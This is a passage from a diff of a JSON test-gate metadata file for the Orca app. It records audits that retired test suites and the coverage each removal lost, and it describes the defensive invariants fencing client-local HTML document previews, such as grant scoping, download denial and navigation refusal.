fixtures and their run results are historical. The client-owned-placement and layout-groups suites are removed. The broad mirror fixture no longer supplies preview placement/reservation/move assertions. Browser rows retain pre-response replay and real local-workspace reuse; focus intent retains response ordering and exact-leaf sibling ordering. Supplied browser-layout and placement/focus projection alarms are lost; retained evidence is narrower and not equivalent. The test-value audit retires renderer grant-release mock ledgers, direct creation/title/session-field copies, notification/onboarding calls and several placement/per-page projections. Canonical-ID rejection, document reopen/restore and preview URL fences remain; they do not prove close-to-registry revocation or replace every lost alarm. Historical execution evidence is unchanged. The test-value audit removed the direct legacy editor-preview hydration example from tabs-hydration.test.ts. Dropping legacy preview chrome while preserving the same-document ordinary editor no longer has that alarm. The surviving corrupt-id deduplication case does not cover that migration, and retained preview journeys are not equivalent replacement coverage. Historical run counts and migration mutation findings describe the earlier suite. Audit1308: src/renderer/src/components/editor/EditorPanelShell.header.test.tsx removed. Header visibility and mocked editor-surface inventory alarms disappear. No equivalent replacement coverage is claimed. Audit1312 removes low-value imported specs from aggregate test drivers; old whole-driver execution receipts are archived. Retained registrations are unchanged. No equivalent replacement coverage is claimed. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1386: src/renderer/src/lib/doc-preview-grants.test.ts reduced. Repeated-mount mint count, ordinary release/remint and failed-mint cache retry standalone alarms removed; no actual grant server/access test. No equivalent replacement coverage is claimed. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result. Audit1412: src/main/browser/guest-lifecycle/manager/browser-manager-guest-policy-profile.test.ts removed. Loses workspace-document in-grant navigation/popup refusal, cleanup/re-attach, cross-registry guest authorization and browsing-map separation alarms. No equivalent browser policy coverage is claimed. No equivalent replacement coverage is claimed. Audit1421 removes browser-address-bar-suggestions.test.ts. Document suggestion title/path matching, recency merging and path-prefix ranking alarms are lost. No equivalent replacement coverage is claimed. Historical receipts remain scoped to unchanged selectors; the reduced command has no new execution result. Audit2452 removes the whole fake-effect browser-close routing suite. Active selectors and assertion references no longer select it. Its requested-worktree default close, sibling-page close and explicit missing-page typed reply alarms are intentionally retired without equivalent replacement. Prior dated receipts remain unchanged and scoped to their original sources; no fresh execution of the reduced gate, rendered browser, live remote, mobile or cross-platform validation is claimed. Prospective settings-host12 runtime-ipc110 reduction: The runtime compatibility driver is intentionally narrowed by runtime-ipc110 whole-registration policy: four imported TEST fragments are retired and reviewed partial fragments lose complete callbacks. Full path/title/hash and lost-alarm records are bound in the local runtime-ipc110 recipe. This is an import-closure disclosure; command filters may select only part of that driver. All remaining selectors keep only their own bounded scope. Preserve every earlier narrative, historical assertion receipt and dated evidenceRun exactly. Historical runs do not validate the reduced registration set; no fresh test, timing, runtime or whole-gate pass is claimed. Module-layout cleanup: Removed snapshot-before-response, sibling-first and newer-viewer-choice focus-intent TEST alarms. No replacement coverage or new execution is claimed; dated receipts describe their original runs.", + "coverageNotes": "Protection is limited to unchanged-selector receipts; remapped E2E journeys are unexecuted after E2E layout cleanup. Historical account: Audit6088 removes the whole LinkActionPopover.test.tsx suite. Benign duplicate-copy suppression, toast feedback and retry-admission alarms are intentionally lost without equivalent replacement. Remove its standalone command and testFiles entry; all dated receipts and historical records retain their original scope. No native clipboard, fresh runtime or whole-gate validation is claimed. Complete prior account preserved verbatim: Audit6018 removes the whole HtmlDocPreview.toolbar.test.tsx suite. Its last current case exercises real DOM/registry hide, explicit close, recreation and unmount lifetime against supplied native guest boundaries; those alarms are intentionally lost without equivalent replacement. Remove its six compound-selector tokens, testFiles entry and obsolete focus assertionRef (the latter assertions were already absent from the current single case). No complete active dated receipt selects this source; all remain unchanged and do not validate narrowed commands. No fresh runtime/native/import-closure claim. Complete prior account preserved verbatim: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5910 retires the complete use-doc-preview-guest-tools suite: token-scoped pending-card position after inner scroll, load reset and detached guest listener cleanup alarms are intentionally lost without equivalent replacement. Narrow three compound selectors and remove its testFiles entry. All remaining assertions/selectors and complete dated evidenceRuns retain only their original scope; no fresh validation or replacement claim. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit5583 removes the entire src/renderer/src/lib/browser/documents/doc-preview-grants.test.ts suite and its active selectors. Intentionally lose stale preview grant rejection and newer-capability preservation alarms without equivalent replacement or fresh gate evidence. Historical prior account follows: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. Audit3460 final-v2 composes accepted AUTHOR3454/PEER3455 on actual post263 main: intentionally removes99 authored/106 potential expanded cases across16 selected drivers, including7 whole suites, retaining24 authored/26 potential cases. No equivalent replacement or fresh runtime is claimed. The complete mocked session-close routing suite is removed, including the explicit cross-worktree cleanup alarm. Remove its active file, command token and assertion reference; historical selectors and receipts retain their original scope. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3342 retires the complete mobile editor/diff tab-publication projection suite: editor/diff serialization, workspace-document privacy withholding, pending/focus and capability/options projections are intentionally lost without equivalent replacement. The surviving focused selectors are unexecuted in this source composition. Six complete compound macOS receipts whose command fields select the changed source are retired verbatim as history; their other selected tests receive no promoted evidence. Other dated receipts keep their original scope; no fresh runtime/UI/mobile/mixed-version or cross-platform validation is claimed. Audit3335 retires the complete three-case browser-tabs snapshot assembly suite: canonical snapshot replay/placement/focus, local host-page adoption and unstamped host echo leaving a local page untouched alarms are intentionally lost without equivalent replacement. The surviving focused selector is unexecuted in this source composition. Unrelated dated receipts keep their original scope; no fresh runtime/network, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit 3301 removes the caller-chat-target precedence over host selection example from web-session-tabs-sync-focus-intent.test.ts. The snapshot-before-RPC replay and split-sibling-first exact-leaf focus cases remain unchanged and match the existing assertion reference. Preserve current selectors, assertion references, unrelated active receipts and complete archived history. These mocked state-composition survivors provide no equivalent replacement, rendered, native, network or fresh execution proof. Audit3108: doc-preview-grants.test.ts now retains only the stale grant-rejection race: a late rejected grant request must not evict a newer grant registry entry, witnessed by later revocation of grant-2. Retire stable minted-location and outside-workspace POSIX/Windows request-projection alarms without replacement. The direct nonempty grant selector remains unchanged; no real grant-server/file authorization, SSH/HTML delivery or native-focus result is claimed. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2043: Remove the registration-wait, webview-security, preview-authorization, guest-lifecycle and grant-IPC unit suites and the sibling-directory assertion reference. Runtime and browser capability consumers also lose removed imported examples. Remaining document-policy, file-reader and grant-registry assertions do not replace those alarms. Preserve the 27 independent dated receipts at their original unchanged selectors; reduced prospective unit selectors have no fresh result or equivalent replacement claim. Historical prior account (preserved verbatim): Audit1973: Delete the browser RPC forwarding/schema/scalar suite and its prospective selector. Preserve all27 unrelated dated receipts; no actual browser operation alarm is replaced. Whole original changed dated receipts are retired, never narrowed or transferred. This metadata review claims no fresh execution, equivalent replacement, provider/PTY, live remote/mobile, rendered, cross-platform, soak or measured-budget result. Historical prior account (preserved verbatim): Audit1925 (sources1922/1923): The complete terminal-file-link-actions suite is removed. Lose supplied local/remote menu-row inventories, browser label/order/download/reveal callback forwarding, platform-copy and source-group pinning examples. No OS reveal/download, real remote preview or browser navigation was exercised; the other real document-preview sources are not equivalent replacements. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1899 replays sealed Audit1895: workspace-doc-history.test.ts is entirely removed from its current command and testFiles. Supplied recency/dedupe/cap/title/identity examples and the10000-row getter-read budget alarm are intentionally lost. No current assertionRef or active receipt selects that file. Unrelated active receipts and all prior gap literals remain verbatim; no replacement history/index-work coverage or new browser/paired-preview gate execution is claimed. Historical coverage account before Audit1899: Audit1853 reduces LinkActionPopover.test.tsx and archives its complete 2026-09-06 mixed-selector receipt. The lost copy/open-state and Settings callback-order/omission alarms are accepted without equivalent replacement coverage. No fresh execution of this gate is credited. Audit1709 removes low-value test definitions and retires affected assertion or execution-receipt claims without equivalent replacement coverage. Per-source reviews bound retained behavior and injected/native/remote limits. Unchanged assertions and receipts keep their original scope; gates lacking current active evidence are downgraded. Historical scope before this audit: Audit1687 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1630 removes low-value Git, GitHub/GitLab and IPC projections, argument inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained cancellation, ownership, authorization, filesystem and SQLite boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1571 removes mock forwarding, capability/schema inventories, private predicates, supplied error/result replays, and filesystem-mocked persistence checks without equivalent replacement claims. Retained changed tests also exercise real local permission-file reread, registry proxy rollback/credential retirement, site display recovery, and pending sender/credential/document admission with injected Electron/UI producers. Retained network tests exercise owned stream credit/cleanup, generation and retirement fences, real loopback proxy/SOCKS bytes and file-backed binding state. SSH/WSL/paired runtime, native sessions, authority producers and storage clears remain injected; simulated relaunch uses filesystem mocks. The unchanged profile-retirement suite was statically reviewed and not rerun. No actual SSH/WSL runtime, native Chromium jar deletion, durable process restart, remote DNS or external site proof. Receipts selecting changed tests are retired and unaffected receipts remain unchanged. Historical scope before this audit: Audit1568 removes API inventories, supplied mock-value/forwarding assertions, implementation-shape tables and negative/setup cases that do not reach their intended boundary, without equivalent replacement claims. Retained changed definitions exercise owned manager lifetime/queue/refcount/clamp and real synthetic process/files/staging boundaries. Seventeen unchanged native Electron definitions across this combined audit are statically reviewed and not rerun. Changed native suites exercise local popup wire/cookie/session and clean/native process-identity behavior; known popup-admission flaws remain unfixed. Unit native/event/session/registry inputs remain injected. No actual OS focus, registry/host execution, CRX verification or durable restart proof. Receipts selecting changed tests are retired and unaffected receipts remain unchanged. Historical scope before this audit: Audit1564 retires copied cookie key recipes, mock bridge/preview forwarding and flag tables, source-spelling/script inventories and setup-only alarms without equivalent replacement coverage. Retained changed cases exercise actual scoped SQLite merge/rollback/schema refusal, owned cancellation and grant authority/canonical containment, ranged response consistency, replacement guest ownership and executed guest-script promise/DOM cleanup behavior. Session, host response, geometry/observer and transport producers remain injected where documented. One unchanged native extension definition is not rerun locally; no actual remote filesystem, native layout/focus or authentication claim. Receipts selecting modified tests are retired; unaffected exact-selector receipts remain unchanged. Historical scope before this audit: Audit1412 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Audit1386 changes referenced sources; no new execution result validates reduced selectors. Retained unchanged receipts apply only to unchanged commands. Historical coverage: Audit1308 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): A macOS desktop host and a separate paired Electron client exercise the Explorer preview action end to end: the document renders inside the client-local orca-preview guest, the client gains exactly one browser workspace and it is the document one, the host's own page registry and tab snapshot gain nothing, the split does not take focus from the source editor, an explicit click activates the preview, and closing it with its X leaves the editor and terminal intact. Both host oracles are read in a run where an ordinary URL browser tab from the same client does arrive in them, because a host that cannot project browser pages at all would otherwise answer the absence question the same way. A second journey quits that client with a document tab open and relaunches it on the same profile, which is the restore the user's original report turned on: the same workspace row comes back blank and named by the document, renders again, and does so over a grant URL that differs from the one that was quit. The same journey pins the guest URL to the orca-preview scheme, so a regression back to file:// or to a host browser page is visible. The rewritten journey caught a live gap the old one could not see: since previews became browser pages they had no chrome to hand focus to their guest, so main refused every reported link click as coming from an unfocused guest and the one route out of a preview was dead. Main's own log answered it — registered true, grant live, focused false — after the embedder reported the anchor really taking six real presses. The pane now hands focus over when it is the reader's surface, and the journey routes. The preview's own components moved out of the editor folder into browser-pane/workspace-doc/ with this change, since a preview is a browser pane and no longer an editor one; their i18n keys keep the historical auto.components.editor.HtmlDocPreview prefix rather than dropping thirty translated strings across four locales for a tidier key path. Seven gate commands named those files by their old paths and were re-issued at the new ones, and the nine dated runs behind them were retired rather than left naming files that are no longer there, on the same principle this gate already applied twice: vitest treats a missing named file as a filter and exits 0, so such a command reports green while silently running only the half that still exists. Each retired record's finding is carried into the replacement run recorded below it, including the red half of the entry/subresource pair, which was re-measured by re-applying its mutant at the new path rather than being dropped. The fence over the page-management channels was decided channel by channel before it was built, and that decision record is: of the 23 channels that can name a page, 6 are allowed for a workspace-document page — the tool channels the reader drives, which reach it through the one authority that reads both halves of the registry — 9 refuse (download accept and cancel, devtools, certificate proceed, client page metadata publish, viewport override, WebAuthn account response, registration probe, registration repair), 3 cannot name a page at all because they take a profile or a worktree instead, and the rest are the registration and activation doors, refused on membership. What shipped is not the per-channel guard that classification implies: eleven call sites read the browsing map directly, so a guard per channel is exactly the caller-flag seam that has to be remembered at every future call site. The registry was split in two instead, which makes the classification structural — a document guest is absent from the browsing map, so every refusing channel refuses by absence rather than by a guard, and a channel added later inherits the refusal without being classified at all. Unit contracts cover grant scoping and path containment, per-owner read routing, refusal of a truncated or over-cap read, the old-server binary degradation, scheme admission on will-attach-webview, the guest navigation policy, the plan layer's local/SSH/paired/out-of-worktree routing, and the distinct sentence the reader sees for each failure reason. The paired browser-creation surfaces this gate still owns — capability rejection cleanup, canonical page identity, reconciliation rollback, close convergence — keep their existing headed and headless journeys. Linux and Windows live journeys remain gaps. A refused subresource is a notice on a rendered document rather than a failure panel, since only the entry document's failure leaves the reader with nothing; the entry document is served as text by every owner and cannot be refused for its format at all. Grants die with the renderer document that minted them, at window creation and on every reload, because the renderer holds the only record of which preview owns which grant. The mint and revoke channels answer only the trusted renderer, and a preview tab is never republished to mobile clients, which have no grant to read it with. External URLs leave the preview only via a trusted user click on an anchor while the preview is focused; script-driven navigation and popups reach nothing. The guest's navigation sinks are deny-only and route no URL at all, and the guest carries a preview-only preload, pinned by will-attach-webview and denied to every other attach path, whose capture-phase click handler reports an anchor's URL to main; main answers only a report from a preview guest with a live bound grant that is the focused contents, and only for http(s). Two earlier reader-facing records from 2026-08-26, which measured a shape where a subresource failure was filtered out and the panel still carried an unsupported-asset sentence, were retired with that shape rather than left contradicting the 10/10 runs of the command they share. Two more were retired on the same principle when the external-link design changed: a record showing that removing a recent-input gate let the unattended document open two browser tabs, and a record showing that dropping the webview's allowpopups attribute left a target=_blank press with nothing to route. Both measured machinery that no longer exists — the input gate could not tell a script's navigation from the click it followed, which is the case now recorded below, and the preload intercepts the press before Chromium considers a popup at all, so allowpopups was removed. WebRTC is fenced by the guest's IP-handling policy alone: this Chromium answers a webrtc content-security-policy directive as unrecognized and gathers candidates anyway, so the directive is deliberately absent from the served policy and a unit assertion keeps it out. A standalone Electron probe on the same version gathered 7 candidates including a STUN reflexive one without the policy and 0 with it. Two command paths this gate used to carry no longer exist, and their structured evidence was retired with them rather than left naming files that are no longer there: vitest treats a missing named file as a filter and exits 0, so such a command reports green while silently running only the half that still exists. The first is src/renderer/src/lib/file-preview-capability-cleanup.test.ts, deleted in STA-5557 when HTML previews stopped creating paired browser tabs: on 2026-08-12 its five-assertion STA-4063 oracle ran red 5/5 on scan e4c278eb52 and on main bc2e30000b, partially green 2/5 on pre-fix PR #14100, and green 5/5 on candidate 14b5877a75; the surviving half of that oracle is web-runtime-browser-capability-cleanup.test.ts, still commanded above. The second is tests/e2e/paired-remote-html-browser-focus.spec.ts, renamed in STA-5557 to paired-remote-html-preview-local-render.spec.ts because the journey no longer proves anything about browser focus: its 2026-08-12 runs established the owning-runtime routing and no-focus-steal behavior of the then-current browser-tab preview (red on main 346e59c879 and a90a18d43d, green on candidates d05217c40d and b7de9c0961, red again with only the side-preview focus or routing seam disabled), and its 2026-08-26 runs are recorded below under the current path. An adversarial pass after the journey landed found four coverage gaps rather than shipping defects, and all four are pinned here. The page url had a third door: the navigation commit wrote whatever url was reported, unfenced, and while nothing reaches it for a document page today it sat one report away from giving a document page a URL that persistence, the publish boundary and the address bar all read. The group projection was the load-bearing half of the mobile publish boundary that no test had: removing it alone left the whole suite green, because no test in it had tab groups, while the phone payload gained a group whose order and active tab named a document tab it was never sent. The focus handoff was covered only in the narrowing direction, so widening it — dropping the page-activity check, or either half of the reader-surface check — survived both suites. And the handoff itself was offered once and never again, so another app taking the front left the preview's one route out shut until the pane remounted, which is a desktop gap rather than a test-only one. The standalone capability-cleanup and browser-placement ledger suites were removed, including their mixed-version rejection, cleanup transfer, capacity and partition alarms. web-runtime-session.test.ts no longer supplies browser creation, rollback or recovery assertions. The grouped workspace-document exclusion remains; the separate no-group publication example was removed. Existing live/browser-store evidence does not establish equivalent replacement alarms. Earlier descriptions of the removed fixtures and their run results are historical. The client-owned-placement and layout-groups suites are removed. The broad mirror fixture no longer supplies preview placement/reservation/move assertions. Browser rows retain pre-response replay and real local-workspace reuse; focus intent retains response ordering and exact-leaf sibling ordering. Supplied browser-layout and placement/focus projection alarms are lost; retained evidence is narrower and not equivalent. The test-value audit retires renderer grant-release mock ledgers, direct creation/title/session-field copies, notification/onboarding calls and several placement/per-page projections. Canonical-ID rejection, document reopen/restore and preview URL fences remain; they do not prove close-to-registry revocation or replace every lost alarm. Historical execution evidence is unchanged. The test-value audit removed the direct legacy editor-preview hydration example from tabs-hydration.test.ts. Dropping legacy preview chrome while preserving the same-document ordinary editor no longer has that alarm. The surviving corrupt-id deduplication case does not cover that migration, and retained preview journeys are not equivalent replacement coverage. Historical run counts and migration mutation findings describe the earlier suite. Audit1308: src/renderer/src/components/editor/EditorPanelShell.header.test.tsx removed. Header visibility and mocked editor-surface inventory alarms disappear. No equivalent replacement coverage is claimed. Audit1312 removes low-value imported specs from aggregate test drivers; old whole-driver execution receipts are archived. Retained registrations are unchanged. No equivalent replacement coverage is claimed. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1386: src/renderer/src/lib/doc-preview-grants.test.ts reduced. Repeated-mount mint count, ordinary release/remint and failed-mint cache retry standalone alarms removed; no actual grant server/access test. No equivalent replacement coverage is claimed. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result. Audit1412: src/main/browser/guest-lifecycle/manager/browser-manager-guest-policy-profile.test.ts removed. Loses workspace-document in-grant navigation/popup refusal, cleanup/re-attach, cross-registry guest authorization and browsing-map separation alarms. No equivalent browser policy coverage is claimed. No equivalent replacement coverage is claimed. Audit1421 removes browser-address-bar-suggestions.test.ts. Document suggestion title/path matching, recency merging and path-prefix ranking alarms are lost. No equivalent replacement coverage is claimed. Historical receipts remain scoped to unchanged selectors; the reduced command has no new execution result. Audit2452 removes the whole fake-effect browser-close routing suite. Active selectors and assertion references no longer select it. Its requested-worktree default close, sibling-page close and explicit missing-page typed reply alarms are intentionally retired without equivalent replacement. Prior dated receipts remain unchanged and scoped to their original sources; no fresh execution of the reduced gate, rendered browser, live remote, mobile or cross-platform validation is claimed. Prospective settings-host12 runtime-ipc110 reduction: The runtime compatibility driver is intentionally narrowed by runtime-ipc110 whole-registration policy: four imported TEST fragments are retired and reviewed partial fragments lose complete callbacks. Full path/title/hash and lost-alarm records are bound in the local runtime-ipc110 recipe. This is an import-closure disclosure; command filters may select only part of that driver. All remaining selectors keep only their own bounded scope. Preserve every earlier narrative, historical assertion receipt and dated evidenceRun exactly. Historical runs do not validate the reduced registration set; no fresh test, timing, runtime or whole-gate pass is claimed. Module-layout cleanup: Removed snapshot-before-response, sibling-first and newer-viewer-choice focus-intent TEST alarms. No replacement coverage or new execution is claimed; dated receipts describe their original runs.", "motivatingLinks": [ "https://linear.app/stably/issue/STA-5557/remote-html-preview-render-workspace-files-locally-over-the-file", "https://linear.app/stably/issue/STA-3872/unable-to-open-html-files-in-remote-server", @@ -4047,7 +3795,7 @@ "https://github.com/stablyai/orca/pull/13876" ], "invariant": "Opening one HTML preview from a paired client renders the workspace document in exactly one client-local browser tab, located by that document and served over the orca-preview scheme. The client gains exactly that one browser workspace and it is the document one — blank where a URL page carries a URL, named by the document, with the chip naming the file — while the host gains no browser page at all, neither in its own page registry nor in the tab snapshot its clients publish into. The preview occupies its own split without taking focus from the source editor; an explicit click activates it, and closing it removes only the preview. Following a document from a file link is the other half of that switch and does move the reader to it, tab group included, whether the preview is new or already open, because opening a file is a request to look at it. A document tab quit with the client comes back as the same row on a grant the relaunched client mints afresh. A preview is named by the browser page it is open in, not by a namespace of its own, and the page registry has two halves: a workspace-document guest is registered in its own map and is absent from the browsing one entirely. That absence is the fence. Page, session and profile management, agent tab enumeration and command targeting, download routing and certificate attribution all read the browsing map directly, in more places than a per-channel guard could be remembered in, so none of them can name a document page and none of them carries a guard. Browser tools the reader drives (element grab, hover describe, selection capture, the annotation viewport bridge) are the one operation that legitimately spans the halves, and they go through the single authority that reads both, keyed by the page and its hosting renderer. The halves are disjoint in both directions: browsing registration refuses a page the document half already holds, and minting a grant refuses a page the browsing half already holds, so one id can never name a surface in both. The headless backend acts on that refusal by destroying the window it had already opened rather than leaving a policy-less page behind an id nothing can drive, keeping nothing under that id for its own shutdown to hand back. Registration refuses on the same terms when the guest it was asked about is already gone. The exit door is guarded in both its halves: a preview withdraws by revoking its grant and never through the unregister channel, so a page the document half holds arriving there is refused before either the registration teardown or the grab-state disposal beside it, which would otherwise drop the intent an in-flight preview grab compares by identity and leave that grab answering ok without ever arming its guest. A bridge request whose guest does not resolve is refused without tearing down the page it named, so a misaddressed request cannot cancel a healthy page's in-flight downloads and grabs. The annotation viewport bridge resolves its guest when its serialized op actually runs rather than when the request arrived, so a cross-process navigation while it waited cannot leave the bridge installed in a retired guest while the reader looks at a new one. State main keys by a preview's page is disposed when that page's grant is revoked, which is the only signal a preview's surface is gone. A tool asking for a page whose guest has not attached yet waits for that registration and arms when it arrives, rather than answering not-ready at the reader; that wait resolves only the request already naming this page, never the worktree-wide or any-tab waits the CLI and agents use to ask for a browser tab to drive. Handing the previewed document to the reader's own machine routes on the owners its grant was minted against — the file's own connection owner and the worktree's own runtime owner, neither read from the tab's stored fields. Only a document proven to live on this machine reaches the client OS; one with a resolved remote owner is downloaded first; and one whose owner cannot be resolved at all, workspace root included, is refused with a message naming that, because the download route would otherwise read the same absolute path on the client and hand back a same-named local file under the remote document's name. A runtime-owned path that falls outside its worktree root is refused by that route itself and surfaces as a failure toast rather than a download. Nothing the document does writes a file to this machine either: the preview partition denies downloads outright instead of routing them through the browser download flow, which has no page to attribute a preview's bytes to and would otherwise reserve a name in this desktop's Downloads folder and write them there unprompted. That refusal is visible to the reader and invisible to the document: the preview's shell carries a fixed sentence saying downloads are off, published at most once per preview per interval so a document asking in a loop cannot fill Orca's chrome, while the page itself gets back exactly what it got before, which is nothing. The sentence names no file, because the document chooses the name it offers; and a refusal never takes the document away the way an entry document's own failure does, whatever it names. A preview is a browser tab, not an editor tab in a preview mode: it is named the way a browser tab is named — by the document it shows when that document declares a title, and by the file it shows when it does not — while the chip goes on naming the file and the host whatever the document calls itself. A title is refused on the same terms the url is: a document that declares none has Chromium report the grant URL as its title, and that title is stored, mirrored onto the tab and written to disk, so anything carrying the scheme falls back to the file instead. It is created by the preview action as a page located by its document, it carries the workspace-relative path copy the editor's path header owned, and closing it revokes the grant that made the document readable while a URL tab closing beside it revokes nothing. Chrome persisted by builds that made previews editor tabs is dropped on restore rather than coming back naming a surface no restore can produce, and the ordinary editor tab for the same document is left alone. A document tab is held back at the mobile publish boundary — no client holds its grant, and the wire has no tab kind for it — while an ordinary browser tab beside it still publishes. It is held back from the group projection that publishes tab order, recency and group activity as well as from the tab list itself, so no published group names a tab the phone is never sent. A browser page can be located by a workspace document instead of a URL, and the document is the whole of its stored identity. The grant and the orca-preview URL that document is served over are minted when the page mounts and replaced by a hard reload, so neither is ever written to the page's url, mirrored onto its tab, persisted or published: such a page's url is the blank URL from creation through restore, including when a session written elsewhere carries a grant URL in, and what the session carries is the worktree and path a restored page mints afresh against today's owners. Every door onto a page's url holds that line — creation, the title update, and the navigation commit alike — so a report about a document page cannot give it a URL it never had, and the title fallback and the loading affordance follow the url each door actually wrote. The mirror carries the document too, so a tab entry cannot go on naming a document its active page has left. Every guest in the app is policy-attached through one door: a workspace document takes a restricted profile there rather than a separate installer beside it, so the attachment bookkeeping that door owns — what registration refuses, and what teardown frees — covers a preview on the same terms as a browsing page, and a preview takes none of the browsing machinery that door installs. That authority answers from the moment the embedder hands the guest over rather than only after a later navigation: the guest binds to the grant it is already showing, so the tools reach the document the reader opened and not just one they navigated to. 